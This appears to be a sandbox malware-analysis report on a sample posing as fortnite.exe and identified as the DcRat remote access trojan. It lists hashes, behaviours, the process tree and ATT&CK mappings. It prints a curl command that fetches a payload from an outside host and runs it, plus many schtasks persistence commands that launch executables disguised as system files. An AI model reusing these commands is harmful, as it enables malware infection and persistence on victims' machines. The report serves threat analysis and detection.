dcrat | 5b4c539067dc6db394d2367305e53555c250d636379acb2b384efe3d77738c63

Analysis

max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
04-11-2024 06:14

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

fortnite.exe
Size

1.3MB
MD5

8d17e6244d984c3c44bd9efa22d90bd3
SHA1

88c8edaa2ea2ed078454e738b1e30c882bbe3ee5
SHA256

5b4c539067dc6db394d2367305e53555c250d636379acb2b384efe3d77738c63
SHA512

bf800abfc7cd57fdc3c2ccd07527ba76f47d6d5426bb2d9107379db74e4b6d07ac4e8b6ff3f468e20a5e5302a01f9c1d39a0fe1bc2af4670bf8a00cab2ffdf1e
SSDEEP

12288:6pqafF/eav6841vwUZF/NmXHBg52Kn4UxCj2AqeMQm6ZQyRWkhuq3nbep3+bKDZs:9Q/PDVQcE2Kn4uGKF6lpC+bKlAtc06L

Score

10^/10

dcrat discovery infostealer rat

Malware Config

Signatures

DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
rat infostealer dcrat
Dcrat family
dcrat

Process spawned unexpected child process 18 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4528	2276	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3680	2276	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	720	2276	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	468	2276	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1688	2276	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4868	2276	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3300	2276	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4572	2276	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3244	2276	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2564	2276	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5020	2276	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1468	2276	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2584	2276	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2836	2276	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2720	2276	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2856	2276	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1700	2276	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1260	2276	schtasks.exe	96

Downloads MZ/PE file

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	fortnite.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	physmeme.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	MsHyperDhcp.exe

Executes dropped EXE 3 IoCs

pid	Process
4600	physmeme.exe
2852	MsHyperDhcp.exe
2500	System.exe

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File created	C:\Program Files\Windows Photo Viewer\es-ES\RuntimeBroker.exe	MsHyperDhcp.exe
File created	C:\Program Files\Windows Photo Viewer\es-ES\9e8d7a4ca61bd9	MsHyperDhcp.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Speech\physmeme.exe	curl.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	physmeme.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Local Settings	physmeme.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Local Settings	MsHyperDhcp.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 18 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1688	schtasks.exe
4572	schtasks.exe
5020	schtasks.exe
2720	schtasks.exe
4868	schtasks.exe
3300	schtasks.exe
2836	schtasks.exe
1700	schtasks.exe
1260	schtasks.exe
720	schtasks.exe
468	schtasks.exe
2564	schtasks.exe
1468	schtasks.exe
4528	schtasks.exe
3680	schtasks.exe
3244	schtasks.exe
2584	schtasks.exe
2856	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2852	MsHyperDhcp.exe
2852	MsHyperDhcp.exe
2852	MsHyperDhcp.exe
2852	MsHyperDhcp.exe
2852	MsHyperDhcp.exe
2852	MsHyperDhcp.exe
2852	MsHyperDhcp.exe
2852	MsHyperDhcp.exe
2852	MsHyperDhcp.exe
2852	MsHyperDhcp.exe
2852	MsHyperDhcp.exe
2852	MsHyperDhcp.exe
2852	MsHyperDhcp.exe
2852	MsHyperDhcp.exe
2852	MsHyperDhcp.exe
2852	MsHyperDhcp.exe
2852	MsHyperDhcp.exe
2852	MsHyperDhcp.exe
2852	MsHyperDhcp.exe
2852	MsHyperDhcp.exe
2852	MsHyperDhcp.exe
2852	MsHyperDhcp.exe
2852	MsHyperDhcp.exe
2852	MsHyperDhcp.exe
2852	MsHyperDhcp.exe
2852	MsHyperDhcp.exe
2852	MsHyperDhcp.exe
2852	MsHyperDhcp.exe
2852	MsHyperDhcp.exe
2852	MsHyperDhcp.exe
2852	MsHyperDhcp.exe
2852	MsHyperDhcp.exe
2852	MsHyperDhcp.exe
2852	MsHyperDhcp.exe
2852	MsHyperDhcp.exe
2852	MsHyperDhcp.exe
2852	MsHyperDhcp.exe
2852	MsHyperDhcp.exe
2852	MsHyperDhcp.exe
2852	MsHyperDhcp.exe
2852	MsHyperDhcp.exe
2852	MsHyperDhcp.exe
2852	MsHyperDhcp.exe
2852	MsHyperDhcp.exe
2852	MsHyperDhcp.exe
2500	System.exe
2500	System.exe
2500	System.exe
2500	System.exe
2500	System.exe
2500	System.exe
2500	System.exe
2500	System.exe
2500	System.exe
2500	System.exe
2500	System.exe
2500	System.exe
2500	System.exe
2500	System.exe
2500	System.exe
2500	System.exe
2500	System.exe
2500	System.exe
2500	System.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2500	System.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2852	MsHyperDhcp.exe
Token: SeDebugPrivilege	2500	System.exe

Suspicious use of WriteProcessMemory 23 IoCs

description	pid	Process	procid_target
PID 4944 wrote to memory of 3300	4944	fortnite.exe	85
PID 4944 wrote to memory of 3300	4944	fortnite.exe	85
PID 3300 wrote to memory of 1820	3300	cmd.exe	86
PID 3300 wrote to memory of 1820	3300	cmd.exe	86
PID 4944 wrote to memory of 4600	4944	fortnite.exe	87
PID 4944 wrote to memory of 4600	4944	fortnite.exe	87
PID 4944 wrote to memory of 4600	4944	fortnite.exe	87
PID 4600 wrote to memory of 4848	4600	physmeme.exe	89
PID 4600 wrote to memory of 4848	4600	physmeme.exe	89
PID 4600 wrote to memory of 4848	4600	physmeme.exe	89
PID 4848 wrote to memory of 2716	4848	WScript.exe	102
PID 4848 wrote to memory of 2716	4848	WScript.exe	102
PID 4848 wrote to memory of 2716	4848	WScript.exe	102
PID 2716 wrote to memory of 2852	2716	cmd.exe	104
PID 2716 wrote to memory of 2852	2716	cmd.exe	104
PID 2852 wrote to memory of 2220	2852	MsHyperDhcp.exe	123
PID 2852 wrote to memory of 2220	2852	MsHyperDhcp.exe	123
PID 2220 wrote to memory of 4232	2220	cmd.exe	125
PID 2220 wrote to memory of 4232	2220	cmd.exe	125
PID 2220 wrote to memory of 3932	2220	cmd.exe	126
PID 2220 wrote to memory of 3932	2220	cmd.exe	126
PID 2220 wrote to memory of 2500	2220	cmd.exe	128
PID 2220 wrote to memory of 2500	2220	cmd.exe	128

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\fortnite.exe
"C:\Users\Admin\AppData\Local\Temp\fortnite.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4944
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl --silent https://file.garden/ZmE_ziOgiFXI9Y48/kdmapper.bin --output C:\Windows\Speech\physmeme.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3300
- - C:\Windows\system32\curl.exe
    curl --silent https://file.garden/ZmE_ziOgiFXI9Y48/kdmapper.bin --output C:\Windows\Speech\physmeme.exe
    3⤵
    - Drops file in Windows directory
    PID:1820
- C:\Windows\Speech\physmeme.exe
  "C:\Windows\Speech\physmeme.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:4600
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\BridgeHyperBlocknetdhcp\GLo9G56rT0nodgfjz0.vbe"
    3⤵
    - Checks computer location settings
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4848
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\BridgeHyperBlocknetdhcp\PvGkvgUzeZLxrr6JqrimKZExUcjf0YvlnNA13ZfWwtdYgG4BZIx.bat" "
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2716
    - - C:\BridgeHyperBlocknetdhcp\MsHyperDhcp.exe
        
        "C:\BridgeHyperBlocknetdhcp/MsHyperDhcp.exe"
        5⤵
        Checks computer location settings
        Executes dropped EXE
        Drops file in Program Files directory
        Modifies registry class
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2852
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\Z9oeYTI6lD.bat"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2220
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        7⤵
        
        PID:4232
        
        C:\Windows\system32\w32tm.exe
        
        w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
        7⤵
        
        PID:3932
        
        C:\BridgeHyperBlocknetdhcp\System.exe
        
        "C:\BridgeHyperBlocknetdhcp\System.exe"
        7⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: GetForegroundWindowSpam
        Suspicious use of AdjustPrivilegeToken
        
        PID:2500

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smsss" /sc MINUTE /mo 12 /tr "'C:\Users\Default\Downloads\smss.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4528

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smss" /sc ONLOGON /tr "'C:\Users\Default\Downloads\smss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3680

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smsss" /sc MINUTE /mo 10 /tr "'C:\Users\Default\Downloads\smss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:720

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 11 /tr "'C:\BridgeHyperBlocknetdhcp\System.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:468

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "System" /sc ONLOGON /tr "'C:\BridgeHyperBlocknetdhcp\System.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1688

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 10 /tr "'C:\BridgeHyperBlocknetdhcp\System.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4868

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 8 /tr "'C:\Program Files\Windows Photo Viewer\es-ES\RuntimeBroker.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3300

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Program Files\Windows Photo Viewer\es-ES\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4572

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 14 /tr "'C:\Program Files\Windows Photo Viewer\es-ES\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3244

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 9 /tr "'C:\Users\All Users\Templates\lsass.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2564

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsass" /sc ONLOGON /tr "'C:\Users\All Users\Templates\lsass.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5020

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 5 /tr "'C:\Users\All Users\Templates\lsass.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1468

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 6 /tr "'C:\BridgeHyperBlocknetdhcp\conhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2584

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\BridgeHyperBlocknetdhcp\conhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2836

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 9 /tr "'C:\BridgeHyperBlocknetdhcp\conhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2720

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "MsHyperDhcpM" /sc MINUTE /mo 11 /tr "'C:\BridgeHyperBlocknetdhcp\MsHyperDhcp.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2856

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "MsHyperDhcp" /sc ONLOGON /tr "'C:\BridgeHyperBlocknetdhcp\MsHyperDhcp.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1700

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "MsHyperDhcpM" /sc MINUTE /mo 6 /tr "'C:\BridgeHyperBlocknetdhcp\MsHyperDhcp.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1260

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\BridgeHyperBlocknetdhcp\GLo9G56rT0nodgfjz0.vbe

Filesize
253B

MD5
4bb32a75d150d0312a4f6b779f0b181a

SHA1
03dd7971f5534a9d5871fc936c40b7aa28c58de8

SHA256
1590ca47cc698690025d71afb485ec10be508fc5330e5d074b992f9e4f509b0e

SHA512
91d0806fa988cbbdcfa0ec80b69236f8056b0170e484fbc9c7486bca63efdec9bd93f9a31568ac5fe7ef7dd63e7eb88c27be4928ac8e132445c8340bc3a2fff6

Download Submit
C:\BridgeHyperBlocknetdhcp\MsHyperDhcp.exe

Filesize
1.8MB

MD5
8eedebc3e9237f67772e3fc3c3d798ea

SHA1
a87e1c10ddbc4c7fdbb69437647f4910216ec689

SHA256
2f1c931ea2ef0cb95382657e6947cab4cb463519e1316d5fc3cd752f8de29301

SHA512
2cf1015562ea15f3a04a7ca0fbdef489cd84ccc555facec9d94ca890365d7a65b5974442b4d36918d284c8b1cd81b905698eb7fa99b8dc14c55f5cdb05f7c8b9

Download Submit
C:\BridgeHyperBlocknetdhcp\PvGkvgUzeZLxrr6JqrimKZExUcjf0YvlnNA13ZfWwtdYgG4BZIx.bat

Filesize
86B

MD5
280356ba496d0f7d9a0d88c1e5786d93

SHA1
d5ccc97c0f4e07736f44240ce25dfcbc93c6ccad

SHA256
f6a0387019b90b50ff47c15052970372fec47420680d0d576e0288a0fa632aad

SHA512
0bd118a4766c777b2574ac1f5cfd3f71bf3f4698c6a9b6b856abf75c35ff2c47cbdf4a72189155f23cfaf1b340adf1db5ad2fe0acbe16bb60add7850ac0c1ffd

Download Submit
C:\Users\Admin\AppData\Local\Temp\Z9oeYTI6lD.bat

Filesize
213B

MD5
4de0b607314a67a4e02e1a17a98d144d

SHA1
70cef37578363a1378f2379582250de6751c341d

SHA256
301d823227b6501c50009c89bbdf51f2e67fa7b18155af0b7280ba7c3d3e21c9

SHA512
9123b3617b8eb24b3db52abec62339f72e7f01960e36448f753d0c8bbc0f30e2edda6b2e47742346ab988d57c50d08e23132977c8e1e44ab07ede9d91faf19ee

Download Submit
C:\Windows\Speech\physmeme.exe

Filesize
2.1MB

MD5
e0216529a1eaed9f919e40074ca84f33

SHA1
3c2c9e6fc0e096b8aba3c96b3c23431a8aa17cc8

SHA256
48cead232045bf8ed6d8dbca3e2072be474fd74ad8901e7a3febe44a9315e5c1

SHA512
e03c5823c27b7f6b4b61ecd48a2ab1019da4e10d3de53965a183b03ef5ebdba07532d28e6284b51ceceb7fc4794719220038faccd5cb9d2a767dd82697a969df

Download Submit
memory/2500-46-0x00000000025A0000-0x00000000025A8000-memory.dmp

Filesize
32KB

Download
memory/2852-15-0x0000000000B70000-0x0000000000D42000-memory.dmp

Filesize
1.8MB

Download
memory/2852-17-0x0000000002F20000-0x0000000002F2E000-memory.dmp

Filesize
56KB

Download
memory/2852-19-0x000000001B880000-0x000000001B89C000-memory.dmp

Filesize
112KB

Download
memory/2852-22-0x000000001BAC0000-0x000000001BAD8000-memory.dmp

Filesize
96KB

Download
memory/2852-20-0x000000001C5D0000-0x000000001C620000-memory.dmp

Filesize
320KB

Download